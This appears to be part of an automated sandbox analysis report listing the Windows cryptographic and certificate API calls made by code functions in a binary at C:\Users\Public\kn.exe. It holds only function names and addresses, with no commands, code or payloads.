Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658D9134 CryptQueryObject,GetLastError,#357,CertOpenStore,GetLastError,CertOpenStore,GetLastError,CertAddSerializedElementToStore,GetLastError,CertAddEncodedCRLToStore,GetLastError,CertAddEncodedCTLToStore,GetLastError,CertAddEncodedCertificateToStore,GetLastError,#357,CertCloseStore, 6_2_00007FF6658D9134
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66595705C BCryptGetProperty,#360, 6_2_00007FF66595705C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665921058 NCryptOpenStorageProvider,#205,#359,#357, 6_2_00007FF665921058
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66592B0A0 memmove,CryptDecrypt,#205,GetLastError,#357,#357,SetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,memmove,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException, 6_2_00007FF66592B0A0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658C107C LocalFree,GetLastError,#359,CryptGetProvParam,GetLastError,#357,CryptReleaseContext,#359,#357,LocalFree, 6_2_00007FF6658C107C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658EB098 CryptVerifyCertificateSignature,GetLastError,#358,CertVerifyCRLTimeValidity,CertCompareCertificateName,CertCompareCertificateName,#357, 6_2_00007FF6658EB098
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66592301C CryptGenKey,#205,GetLastError,#357,#357,#357,SetLastError, 6_2_00007FF66592301C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665927020 NCryptDecrypt,#205,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,NCryptEncrypt,#205,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException, 6_2_00007FF665927020
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665919028 #357,#357,CryptMsgClose,CryptMsgClose,CertCloseStore,LocalFree, 6_2_00007FF665919028
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66589302F #357,LocalFree,LocalFree,NCryptFreeObject,CoUninitialize,DeleteCriticalSection, 6_2_00007FF66589302F
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665897034 #357,CertCreateCertificateContext,#357,CertDuplicateCertificateContext,CertCreateCertificateContext,CertCompareCertificateName,CryptVerifyCertificateSignature,GetLastError,#357,#357,CertFreeCertificateContext,LocalFree,CertFreeCertificateContext, 6_2_00007FF665897034
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66595700C BCryptEnumAlgorithms,#360, 6_2_00007FF66595700C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665910F58 CertAddEncodedCertificateToStore,GetLastError,#357,UuidCreate,StringFromCLSID,CryptAcquireContextW,GetLastError,CryptImportKey,GetLastError,CertSetCTLContextProperty,GetLastError,CryptDestroyKey,CryptReleaseContext,CoTaskMemFree,CertFreeCertificateContext, 6_2_00007FF665910F58
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665904F50 CryptEncodeObjectEx,GetLastError,CryptEncodeObjectEx,GetLastError,CryptEncodeObjectEx,GetLastError,#357,LocalFree, 6_2_00007FF665904F50
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594EF74 GetLastError,#357,CryptDecodeObject,GetLastError,GetLastError,GetLastError,LocalAlloc,memmove,LocalFree,LocalFree,LocalFree, 6_2_00007FF66594EF74
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658B4F90 LocalFree,LocalFree,LocalFree,CertFreeCertificateContext,LocalFree,LocalFree,#357,strcmp,GetLastError,#357,CryptMsgGetAndVerifySigner,CryptVerifyDetachedMessageSignature,GetLastError,#357,CertEnumCertificatesInStore,memcmp,#357,CertFreeCertificateContext,#357,#357,CertFreeCertificateContext,strcmp,#357,CryptMsgControl,GetLastError,#357,#357,#357,#357, 6_2_00007FF6658B4F90
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665956FAC BCryptOpenAlgorithmProvider,#360, 6_2_00007FF665956FAC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665920FB4 NCryptOpenKey,#205,#359,#357,#357, 6_2_00007FF665920FB4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665922AE4 CryptAcquireContextW,#205,GetLastError,#359,#357,#359,SetLastError, 6_2_00007FF665922AE4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665920ABC BCryptVerifySignature,#205,#357,#357,#357,#357, 6_2_00007FF665920ABC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658C2B00 BCryptEnumContexts,#360,BCryptQueryContextConfiguration,#360,#357,BCryptFreeBuffer,#357,BCryptEnumContextFunctions,#360,#360,BCryptFreeBuffer,#358,#358,#357,BCryptFreeBuffer, 6_2_00007FF6658C2B00
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665918AFC #357,CertCreateCertificateContext,GetLastError,#357,#357,#357,#357,#357,NCryptIsKeyHandle,#357,CertSetCTLContextProperty,GetLastError,#357,#357,CertCloseStore,CertFreeCertificateContext, 6_2_00007FF665918AFC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665928AA0 _CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,BCryptHashData,#205,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException, 6_2_00007FF665928AA0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665896A84 LocalAlloc,#357,memmove,CryptHashCertificate2,GetLastError,LocalAlloc,#357,memmove,LocalFree, 6_2_00007FF665896A84
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665952A78 #357,CryptAcquireCertificatePrivateKey,GetLastError,#357,#357,LocalFree,LocalFree,LocalFree,#359,#359, 6_2_00007FF665952A78
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590EA7C #357,#357,LocalAlloc,CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,CryptImportKey,GetLastError,CryptSetKeyParam,GetLastError,CryptSetKeyParam,GetLastError,CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,CryptSetKeyParam,GetLastError,#357,LocalFree,LocalFree,LocalFree,CryptDestroyHash,CryptDestroyHash, 6_2_00007FF66590EA7C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66595A9F0 strcmp,GetLastError,CryptFindOIDInfo,#357,#357,LocalFree,#357,#357,NCryptIsAlgSupported,#360,#357,LocalAlloc,memmove,#357,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#357,LocalFree,LocalFree,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,LocalFree,GetLastError,#357,LocalFree,GetLastError,#357,LocalFree,GetLastError,#357,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z, 6_2_00007FF66595A9F0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658EE9F0 IsDlgButtonChecked,memset,SendMessageW,LocalFree,GetDlgItemTextW,GetDlgItem,GetDlgItem,EnableWindow,LocalFree,#357,#357,CertFreeCertificateContext,CertFreeCTLContext,GetDlgItem,SendMessageW,SetDlgItemTextW,MessageBoxW,GetDlgItem,SendMessageW,GetDlgItemInt,IsDlgButtonChecked,GetDlgItem,GetDlgItemTextW,new,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetDlgItemTextW,new,GetDlgItem,#357,IsDlgButtonChecked,GetDlgItem,GetDlgItemTextW,new,GetDlgItem,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SetDlgItemTextW,SendDlgItemMessageA,CheckDlgButton,GetDlgItem,EnableWindow,SetDlgItemInt,CheckDlgButton,SetDlgItemTextW,SetDlgItemTextW,CertFreeCTLContext,CertFreeCertificateContext,??3@YAXPEAX@Z,memset,SendMessageW,MessageBoxW,memset,CryptUIDlgViewCRLW,memset,CryptUIDlgViewCertificateW, 6_2_00007FF6658EE9F0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665920A18 BCryptSetProperty,#205,#359,#357,#357, 6_2_00007FF665920A18
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665924A1C NCryptIsKeyHandle,_wcsicmp,#357,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException, 6_2_00007FF665924A1C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665904A34 CertGetCRLContextProperty,CryptEncodeObjectEx,GetLastError,CryptHashCertificate2,CryptEncodeObjectEx,GetLastError,CertGetCRLContextProperty,CryptEncodeObjectEx,GetLastError,CryptEncodeObjectEx,GetLastError,GetLastError,GetLastError,#357,LocalFree, 6_2_00007FF665904A34
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590AA00 memset,memset,#357,#357,#357,#357,CryptEncodeObjectEx,GetLastError,CryptMsgEncodeAndSignCTL,GetLastError,GetLastError,CryptMsgEncodeAndSignCTL,GetLastError,#359,LocalFree,LocalFree, 6_2_00007FF66590AA00
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665928940 BCryptFinishHash,#205,#357,#357,#357,_CxxThrowException,_CxxThrowException, 6_2_00007FF665928940
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66592C940 _CxxThrowException,GetLastError,_CxxThrowException,memmove,??_V@YAXPEAX@Z,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,CryptHashData,#205,GetLastError,#357,#357,#357,SetLastError,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException, 6_2_00007FF66592C940
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658AC960 LocalAlloc,CryptGetKeyIdentifierProperty,GetLastError,#357,LocalFree,LocalFree, 6_2_00007FF6658AC960
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66592099C BCryptOpenAlgorithmProvider,#205,#359,#359, 6_2_00007FF66592099C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E29A0 #357,#357,GetLastError,#357,CryptAcquireContextW,GetLastError,CryptGetUserKey,GetLastError,CryptGetUserKey,GetLastError,#357,CryptImportKey,GetLastError,CertFreeCertificateContext,CryptReleaseContext,LocalFree,LocalFree,CryptDestroyKey, 6_2_00007FF6658E29A0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665952994 CertFreeCertificateContext,CryptSetProvParam,GetLastError,#357,CryptReleaseContext,LocalFree, 6_2_00007FF665952994
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665956CE0 NCryptEnumStorageProviders,#360, 6_2_00007FF665956CE0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E4CC0 #357,lstrcmpW,CryptEnumKeyIdentifierProperties,GetLastError,#357,LocalFree,#357,#359,LocalFree,LocalFree,free, 6_2_00007FF6658E4CC0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665978CF4 GetLastError,#360,CryptGetProvParam,GetLastError,#360,#359,LocalAlloc,CryptGetProvParam,GetLastError,#357,LocalFree,CryptReleaseContext,GetLastError,LocalAlloc,CryptGetProvParam,GetLastError,#358,LocalFree,LocalFree,#357,CryptReleaseContext,LocalFree, 6_2_00007FF665978CF4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665956D2C NCryptFreeBuffer,#360, 6_2_00007FF665956D2C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665912CF8 memset,#358,#357,CryptAcquireContextW,GetLastError,#357,#357,#358,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptDestroyKey,CryptReleaseContext,DeleteFileW,LocalFree,#357,#357,#359,#359,LocalFree,LocalFree,#357,#357,#357,#357,#357,#359,#359,#359,#359,LocalFree,#359,#359,#357, 6_2_00007FF665912CF8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665922CFC CryptDestroyKey,#205,GetLastError,#357,SetLastError, 6_2_00007FF665922CFC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665920D14 NCryptFinalizeKey,#205,#357,#357, 6_2_00007FF665920D14
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E2D18 #359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,NCryptIsKeyHandle,#357,#357,NCryptIsKeyHandle,#357,#357,LocalFree,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z, 6_2_00007FF6658E2D18
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665886C4C CryptFindOIDInfo,#357,#357,#359,CryptFindOIDInfo,#357,LocalFree, 6_2_00007FF665886C4C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665958C58 #357,LocalAlloc,#357,memmove,memset,BCryptFreeBuffer,#357,#357,#360,#359,#359,#359,LocalAlloc,memmove,LocalAlloc,memmove,#357,#357,CryptGetDefaultProviderW,LocalAlloc,CryptGetDefaultProviderW,GetLastError,#357,#357,#357,LocalFree,LocalFree, 6_2_00007FF665958C58
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665920C3C NCryptExportKey,#205,#359,#359,#357, 6_2_00007FF665920C3C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665914CA0 CryptAcquireCertificatePrivateKey,GetLastError,#357,CertGetCRLContextProperty,GetLastError,#357,CryptGetUserKey,GetLastError,GetLastError,#357,LocalFree,LocalFree,CryptDestroyKey,CryptReleaseContext, 6_2_00007FF665914CA0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66592ACAC CryptContextAddRef,CryptDuplicateKey,#205,GetLastError,#357,#357,SetLastError,_CxxThrowException,GetLastError,_CxxThrowException,GetLastError,_CxxThrowException,??3@YAXPEAX@Z, 6_2_00007FF66592ACAC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665922C80 CryptDestroyHash,#205,GetLastError,#357,SetLastError, 6_2_00007FF665922C80
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665964C80 CryptAcquireContextW,GetLastError,#357,CryptGenRandom,GetLastError,CryptGenRandom,GetLastError,memset,CryptReleaseContext, 6_2_00007FF665964C80
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665956C88 NCryptEnumAlgorithms,#360, 6_2_00007FF665956C88
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665950BF4 CryptDuplicateHash,GetLastError,#357,CryptGetHashParam,GetLastError,#203,CryptDestroyHash, 6_2_00007FF665950BF4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665922BC0 CryptCreateHash,#205,GetLastError,#357,#357,#357,SetLastError, 6_2_00007FF665922BC0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665956C30 NCryptOpenStorageProvider,#360, 6_2_00007FF665956C30
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658BCC24 CryptDecodeObjectEx,#359,BCryptSetProperty,BCryptGetProperty,#357,BCryptDestroyKey,BCryptCloseAlgorithmProvider, 6_2_00007FF6658BCC24
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66598EB38 CryptDecodeObjectEx,GetLastError,??3@YAXPEAX@Z,LocalFree, 6_2_00007FF66598EB38
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665950B9C CryptHashData,GetLastError,#357, 6_2_00007FF665950B9C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594CBB4 CryptGetProvParam,GetLastError,#358,LocalAlloc,#357,CryptGetProvParam,GetLastError,#357,LocalFree, 6_2_00007FF66594CBB4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665920B80 NCryptCreatePersistedKey,#205,#359,#359,#357, 6_2_00007FF665920B80
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658ACB98 NCryptIsKeyHandle,GetLastError,#358,#360,NCryptIsKeyHandle,CryptGetProvParam,GetLastError,#357,#359,LocalFree,NCryptIsKeyHandle,CryptGetUserKey,GetLastError,#357,CryptGetKeyParam,GetLastError,#359,CryptDestroyKey,NCryptIsKeyHandle,#359,NCryptIsKeyHandle, 6_2_00007FF6658ACB98
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590F6D8 #357,CryptDuplicateKey,GetLastError,CryptEncrypt,GetLastError,LocalAlloc,memmove,CryptEncrypt,GetLastError,LocalAlloc,CryptDestroyKey,LocalFree, 6_2_00007FF66590F6D8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659236E8 CryptSetHashParam,#205,GetLastError,#357,#357,#357,SetLastError, 6_2_00007FF6659236E8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590B664 I_CryptFindLruEntry,I_CryptGetLruEntryData,I_CryptReleaseLruEntry, 6_2_00007FF66590B664
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658F366C CryptVerifyCertificateSignature,GetLastError,CryptVerifyCertificateSignatureEx,GetLastError,#357, 6_2_00007FF6658F366C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66591F644 NCryptDeleteKey,#205,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException, 6_2_00007FF66591F644
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658AD660 GetDesktopWindow,LocalFree,#357,CertDuplicateCertificateContext,GetLastError,#357,#357,#357,#357,#357,#207,LocalFree,#358,#357,#358,#357,#357,#357,#357,#357,NCryptIsKeyHandle,#357,#357,NCryptIsKeyHandle,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,LocalFree,LocalFree,LocalFree,CertFreeCertificateContext,CryptSetProvParam,GetLastError,#357,CryptReleaseContext,LocalFree, 6_2_00007FF6658AD660
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665895664 #256,#357,CryptHashCertificate2,GetLastError,#254,#254,#357,#207,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,#359, 6_2_00007FF665895664
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594F650 CryptHashCertificate2,SetLastError, 6_2_00007FF66594F650
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665923654 CryptReleaseContext,#205,GetLastError,#357,#357,SetLastError, 6_2_00007FF665923654
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66593D6A0 CertOpenStore,GetLastError,#357,CryptMsgOpenToDecode,GetLastError,#357,CryptMsgUpdate,GetLastError,#357,CryptMsgUpdate,GetLastError,#357,#357,LocalFree,LocalAlloc,#357,memmove,CryptMsgGetParam,GetLastError,CryptMsgGetParam,GetLastError,CryptMsgGetParam,GetLastError,CryptMsgClose,CertCloseStore,LocalFree,LocalFree, 6_2_00007FF66593D6A0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658D76B0 #359,CryptAcquireCertificatePrivateKey,GetLastError,#357,#358,#359,#358,#358,LocalFree,LocalFree,#357,CryptFindCertificateKeyProvInfo,GetLastError,#357,LocalFree,LocalFree,CryptReleaseContext, 6_2_00007FF6658D76B0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665949688 CryptFindOIDInfo,#357,#360,#360,#360, 6_2_00007FF665949688
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658AD5C2 CertCloseStore,CryptMsgClose,LocalFree,LocalFree,LocalFree,LocalFree, 6_2_00007FF6658AD5C2
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E55F0 #357,#360,GetLastError,#360,#359,NCryptDeleteKey,#360,#357,LocalFree,LocalFree, 6_2_00007FF6658E55F0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658AF630 CryptAcquireContextW,GetLastError,#357,SetLastError, 6_2_00007FF6658AF630
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659095FC BCryptOpenAlgorithmProvider,#357,BCryptCreateHash,BCryptHashData,BCryptHashData,CertGetCRLContextProperty,BCryptHashData,BCryptHashData,BCryptFinishHash,BCryptDestroyHash,BCryptCloseAlgorithmProvider, 6_2_00007FF6659095FC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594F570 CryptHashCertificate,SetLastError, 6_2_00007FF66594F570
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658EB55C CertFreeCertificateContext,CertCreateCertificateContext,GetLastError,CertDuplicateCertificateContext,#357,#358,CertCompareCertificateName,CryptVerifyCertificateSignatureEx,GetLastError,#357,#357,CertFreeCertificateContext,CertVerifyTimeValidity,#357, 6_2_00007FF6658EB55C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665959580 memset,#357,CryptCreateHash,GetLastError,#357,CryptGenRandom,GetLastError,CryptHashData,GetLastError,CryptSignHashW,GetLastError,LocalAlloc,CryptSignHashW,GetLastError,CryptImportPublicKeyInfo,GetLastError,CryptVerifySignatureW,GetLastError,#357,CryptDestroyHash,CryptDestroyKey,LocalFree,CryptReleaseContext, 6_2_00007FF665959580
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665923590 CryptImportPublicKeyInfoEx2,#205,GetLastError,#357,#357,#357,SetLastError, 6_2_00007FF665923590
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658F18DC CertFindExtension,CryptDecodeObject,GetLastError,#357, 6_2_00007FF6658F18DC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590B8D0 I_CryptGetLruEntryData,#357, 6_2_00007FF66590B8D0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594F918 CryptEncrypt,GetLastError,LocalFree,LocalAlloc,#357,LocalFree, 6_2_00007FF66594F918
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66592391C CryptVerifySignatureW,#205,GetLastError,#357,#359,#357,SetLastError, 6_2_00007FF66592391C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658938FC RevertToSelf,#356,#357,LocalFree,NCryptFreeObject,CoUninitialize,DeleteCriticalSection, 6_2_00007FF6658938FC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658A3918 #357,#357,#357,#357,CertFindExtension,CryptDecodeObject,GetLastError,#357,LocalFree,LocalFree,LocalFree,LocalFree, 6_2_00007FF6658A3918
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665923860 CryptSetProvParam,#205,GetLastError,#357,#357,#357,SetLastError, 6_2_00007FF665923860
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66591184C CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,memset,CryptGetUserKey,GetLastError,CryptGetUserKey,GetLastError,#357,CryptImportKey,GetLastError,CryptDecrypt,GetLastError,GetLastError,#357,CryptDestroyKey,CryptDestroyHash,LocalFree,CryptDestroyKey,GetLastError,#357,LocalFree, 6_2_00007FF66591184C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590D850 #357,Sleep,BCryptCloseAlgorithmProvider,I_CryptFreeLruCache, 6_2_00007FF66590D850
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658B7884 GetLastError,CryptFindOIDInfo,#357,#357,LocalFree, 6_2_00007FF6658B7884
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658F9878 strcmp,strcmp,strcmp,#357,#357,CompareFileTime,LocalFree,CryptMsgClose,CertCloseStore,CompareFileTime,#357,#357, 6_2_00007FF6658F9878
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659598B0 #357,CryptImportPublicKeyInfo,GetLastError,#357,CryptGenKey,GetLastError,CryptGenRandom,GetLastError,#357,CryptDestroyKey,CryptGetUserKey,GetLastError,CryptImportKey,GetLastError,#357,memcmp,#357,CryptDestroyKey,CryptDestroyKey,CryptDestroyKey,LocalFree,LocalFree,LocalFree,CryptReleaseContext, 6_2_00007FF6659598B0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658C17D4 #357,#359,#357,NCryptFinalizeKey,#360,#359,#359,#357,NCryptDeleteKey,#360,#359,#359,#359,LocalFree,LocalFree, 6_2_00007FF6658C17D4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659397E4 LoadCursorW,SetCursor,#210,LoadCursorW,SetCursor,#357,EnableWindow,SetWindowLongPtrW,SetWindowLongPtrW,SetWindowLongPtrW,GetDlgItem,SetWindowTextW,GetDlgItem,ShowWindow,CryptUIDlgFreeCAContext,LocalFree, 6_2_00007FF6659397E4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658BF810 #223,CryptDecodeObjectEx,GetLastError,CertFindAttribute,CertFindAttribute,GetLastError,#357,LocalFree,LocalFree, 6_2_00007FF6658BF810
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594F7FC CryptExportKey,GetLastError,#357,LocalAlloc,CryptExportKey,GetLastError,LocalFree, 6_2_00007FF66594F7FC
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590B808 I_CryptFindLruEntry,I_CryptGetLruEntryData,#357,I_CryptReleaseLruEntry, 6_2_00007FF66590B808
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665925768 NCryptIsKeyHandle,??_V@YAXPEAX@Z,#357,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException, 6_2_00007FF665925768
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658EF774 CertFindExtension,#357,CryptVerifyCertificateSignature,GetLastError,GetLastError,memmove,LocalFree, 6_2_00007FF6658EF774
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66594D750 LocalAlloc,CryptFormatObject,GetLastError,#358,#358,LocalFree,#357, 6_2_00007FF66594D750
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658BD790 SslEnumProtocolProviders,#357,SslOpenProvider,SslFreeBuffer,SslFreeObject,SslFreeBuffer,#359,LocalAlloc,BCryptGetProperty,CryptFindOIDInfo,BCryptDestroyKey,BCryptDestroyKey,LocalFree, 6_2_00007FF6658BD790
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66589B788 #140,iswdigit,CryptDecodeObject,GetLastError,#357,#357,#224, 6_2_00007FF66589B788
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659237A4 CryptSetKeyParam,#205,GetLastError,#357,#357,#357,SetLastError, 6_2_00007FF6659237A4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658F577C #360,#358,CryptDecodeObject,GetLastError,#357, 6_2_00007FF6658F577C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66593B794 CryptExportPublicKeyInfoEx,SetLastError, 6_2_00007FF66593B794
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659032D0 #359,CryptGetProvParam,GetLastError,#357,CryptReleaseContext, 6_2_00007FF6659032D0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658E92C4 memset,CryptHashCertificate,GetLastError,CryptHashCertificate,GetLastError,GetLastError,GetLastError,#357,#254,LocalAlloc,wcsstr,LocalAlloc,LocalAlloc,#357,memmove,GetLastError,GetProcAddress,GetLastError,GetLastError,#359,#357,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FreeLibrary, 6_2_00007FF6658E92C4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66591F2F0 BCryptCreateHash,#205,#357,#357,#357,#357,??_V@YAXPEAX@Z,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException, 6_2_00007FF66591F2F0
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658F92D8 CertEnumCertificatesInStore,CertGetCRLContextProperty,CertSetCTLContextProperty,GetLastError,#357,#357,CertEnumCertificatesInStore,CryptMsgControl,GetLastError,#357,CryptMsgGetAndVerifySigner,GetLastError,#357,CryptMsgGetAndVerifySigner,#357,CertFreeCertificateContext,CertGetCRLContextProperty,CertEnumCertificatesInStore,#357,#357,#207,LocalFree,#357,#357,CertFreeCertificateContext,CompareFileTime,CertFreeCertificateContext, 6_2_00007FF6658F92D8
